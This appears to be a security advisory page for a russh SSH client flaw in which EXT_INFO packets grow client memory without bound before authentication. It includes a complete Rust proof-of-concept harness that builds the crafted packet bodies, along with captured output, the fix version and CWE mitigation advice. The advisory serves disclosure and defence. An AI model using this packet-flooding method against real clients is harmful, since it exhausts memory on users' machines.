Skip to content

GHSA-4p9f-7p9m-5vfg CVE-2026-116773

russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets

Medium crates.io
Severity
4.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.26%
Chance of exploitation in the next 30 days. Higher than 17.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
0.65
Upgrade russh to this version or later

Description

Summary

All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment. Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (Session::process_packet handling handle_ext_info) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.

russh's client stores every extension name it parses out of an EXT_INFO packet into a per-session vector and never clears, caps, or deduplicates it (russh/src/client/encrypted.rs:433, field declared at russh/src/session.rs:60). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts EXT_INFO in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes EXT_INFO as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it.

Details

The handler appends every parsed extension name to the session state with no bound:

russh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
    enc.received_extensions.push(name.clone());   // no cap, no dedup
russh/src/session.rs:60
    pub received_extensions: Vec<String>,         // lives for the whole session

The state machine routes EXT_INFO to this handler in both the WaitingAuthServiceRequest and WaitingAuthRequest states (encrypted.rs:111, encrypted.rs:401), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant msg::EXT_INFO = 7 (russh/src/msg.rs:32, in place since 2022), while RFC 8308 assigns EXT_INFO the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected.

Proof of concept

The harness constructs a real client Session in the WaitingAuthRequest pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine Session::process_packet dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of USERAUTH_BANNER bodies, which parse and dispatch without retention. The test below is added to the russh source tree as russh/src/client/extinfo_poc.rs, with two lines added to russh/src/client/mod.rs next to the existing test module declarations:

#[cfg(test)]
mod extinfo_poc;
cat > russh/src/client/extinfo_poc.rs <<'EOF'
//! PoC: unbounded pre-auth client memory growth
//! via repeated EXT_INFO packets (`received_extensions` accumulates without
//! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info).
//!
//! Drives the REAL client packet parser (Session::process_packet ->
//! handle_ext_info) with attacker-supplied packet bodies over an unmodified
//! client session in the pre-auth state (WaitingAuthRequest). Measuring
//! allocator totals proves the growth is persistent and unbounded across
//! packets. Control leg: equal traffic of IGNORE packets.
//!
//! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture

use std::alloc::{GlobalAlloc, Layout, System};
use std::collections::HashMap;
use std::num::Wrapping;
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;

use tokio::sync::mpsc::{channel, unbounded_channel};

use super::*;
use crate::auth::{AuthRequest, Method};
use crate::compression::{Compression, Decompress};
use crate::kex::{KEXES, NONE};
use crate::msg;
use crate::session::{CommonSession, Encrypted, EncryptedState, Exchange};
use crate::sshbuffer::PacketWriter;
use crate::{cipher, CryptoVec, mac};

static LIVE: AtomicU64 = AtomicU64::new(0);

struct Counting;

unsafe impl GlobalAlloc for Counting {
    unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
        let p = System.alloc(layout);
        if !p.is_null() {
            LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
        }
        p
    }
    unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
        LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
        System.dealloc(p, layout)
    }
}

#[global_allocator]
static POC_ALLOC: Counting = Counting;

fn live_mb() -> f64 {
    LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}

struct PocHandler;

impl Handler for PocHandler {
    type Error = crate::Error;

    async fn check_server_key(
        &mut self,
        _: &PublicKeyOrCertificate,
    ) -> Result<bool, Self::Error> {
        Ok(true)
    }
}

fn poc_session() -> Session {
    let config = Arc::new(Config::default());
    let (sender, receiver) = channel(config.channel_buffer_size);
    let (reply_sender, _reply_receiver) = unbounded_channel();
    let auth_request = AuthRequest::new(&Method::KeyboardInteractive {
        submethods: String::new(),
    });
    Session::new(
        config.window_size,
        CommonSession {
            auth_user: "victimuser".to_owned(),
            auth_attempts: 0,
            auth_method: Some(Method::KeyboardInteractive {
                submethods: String::new(),
            }),
            remote_to_local: Box::new(cipher::clear::Key),
            encrypted: Some(Encrypted {
                state: EncryptedState::WaitingAuthRequest(auth_request),
                exchange: Some(Exchange::default()),
                kex: KEXES.get(&NONE).unwrap().make(),
                key: 0,
                client_mac: mac::NONE,
                server_mac: mac::NONE,
                session_id: CryptoVec::new(),
                channels: HashMap::new(),
                last_channel_id: Wrapping(0),
                write: Vec::new(),
                write_cursor: 0,
                last_rekey: russh_util::time::Instant::now(),
                server_compression: Compression::None,
                client_compression: Compression::None,
                decompress: Decompress::None,
                rekey_wanted: false,
                received_extensions: Vec::new(),
                extension_info_awaiters: HashMap::new(),
            }),
            config,
            wants_reply: false,
            disconnected: false,
            buffer: Vec::new(),
            strict_kex: false,
            alive_timeouts: 0,
            received_data: false,
            remote_sshid: b"SSH-2.0-auditpeer".to_vec(),
            packet_writer: PacketWriter::clear(),
        },
        receiver,
        reply_sender,
    )
}

/// EXT_INFO packet body (russh msg number 7): u32 count, then per extension
/// a name string plus a data blob. Minimal entry = name "x" (5 B) + data
/// empty (4 B) = 9 wire bytes.
fn ext_info_body(entries: usize) -> Vec<u8> {
    let mut b = vec![msg::EXT_INFO];
    b.extend_from_slice(&(entries as u32).to_be_bytes());
    for _ in 0..entries {
        b.extend_from_slice(&1u32.to_be_bytes());
        b.push(b'x');
        b.extend_from_slice(&0u32.to_be_bytes());
    }
    b
}

#[tokio::test]
async fn ext_info_reception_grows_memory_without_bound() {
    let mut handler = PocHandler;

    // ---- control leg: equal packet volume of USERAUTH_BANNER ----
    // (IGNORE is a hard disconnect in this state; banners parse and are
    // forwarded to the handler without retention)
    let mut session = poc_session();
    let banner_body = {
        let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size
        let mut b = vec![msg::USERAUTH_BANNER];
        b.extend_from_slice(&(data_len as u32).to_be_bytes());
        b.resize(1 + 4 + data_len, b'b');
        b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag
        b
    };
    let c0 = live_mb();
    for _ in 0..400 {
        session
            .process_packet(&mut handler, &banner_body)
            .await
            .expect("control packet");
    }
    let control_delta = live_mb() - c0;

    // ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----
    let mut session = poc_session();
    let body = ext_info_body(3000); // ~27 KB per packet
    let a0 = live_mb();
    for i in 0..400 {
        session
            .process_packet(&mut handler, &body)
            .await
            .expect("ext_info packet");
        if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {
            let n = session
                .common
                .encrypted
                .as_ref()
                .map(|e| e.received_extensions.len())
                .unwrap_or(0);
            println!(
                "EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB",
                i + 1,
                n,
                live_mb() - a0 + c0 // keep numbers comparable per-process
            );
        }
    }
    let attack_delta = live_mb() - a0;
    let n = session
        .common
        .encrypted
        .as_ref()
        .map(|e| e.received_extensions.len())
        .unwrap_or(0);

    println!(
        "CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB",
        banner_body.len() / 1024,
        control_delta
    );
    println!(
        "ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB",
        n, attack_delta
    );
    println!(
        "amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)",
        attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),
        body.len() / 1024
    );
    assert_eq!(
        n, 1_200_000,
        "every parsed extension name was retained, none were dropped"
    );
    if attack_delta > 10.0 {
        println!(
            "VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth",
            attack_delta, control_delta
        );
    } else {
        println!(
            "VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold",
            attack_delta
        );
    }
}
EOF
cargo test -p russh --lib extinfo_poc --release -- --nocapture

Captured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):

$ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture
   Compiling russh v0.64.1
    Finished `release` profile [optimized] target(s) in 1m 26s
     Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe)
running 1 test
EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB
EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB
EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB
EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB
EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB
CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB
ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB
amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)
VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth
test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s

Output interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.

Impact

Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of received_extensions (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the EXT_INFO message number with RFC 8308 (82) so the handler is unreachable by accident.

Affected versions

crates.io

PackageVulnerableFixed in
russh
< 0.65
0.65

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

russh crates.io → 0.65

cargo
cargo update -p russh --precise 0.65

Severity breakdown

CVSS 3.1 4.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vp5q-ff62-jwqv
russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation
High Also affects russh
GHSA-fw5c-8223-6h42
russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang)
Medium Also affects russh
GHSA-9wfm-jcj8-jfv9
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
Low Also affects russh
GHSA-4wc5-f2rc-q74m
russh: Unbounded memory allocation in agent protocol server via crafted constraint records
Medium Also affects russh
GHSA-j7h2-66j4-ghjf
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Low Also affects russh
GHSA-g6xm-f9xp-qq35
Russh: Configured server auth-attempt cap is not enforced in the USERAUTH_REQUEST runtime path
Low Also affects russh
GHSA-w3jg-pjxf-73p4
Russh: Missing X25519 zero-point validation in hybrid ML-KEM key exchange
Medium Also affects russh
GHSA-47hw-gvq5-r2gm
russh: Client-side channel-scoped Handler callbacks fire for channel IDs the client never opened
High Also affects russh

Credits: Hama1cco

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor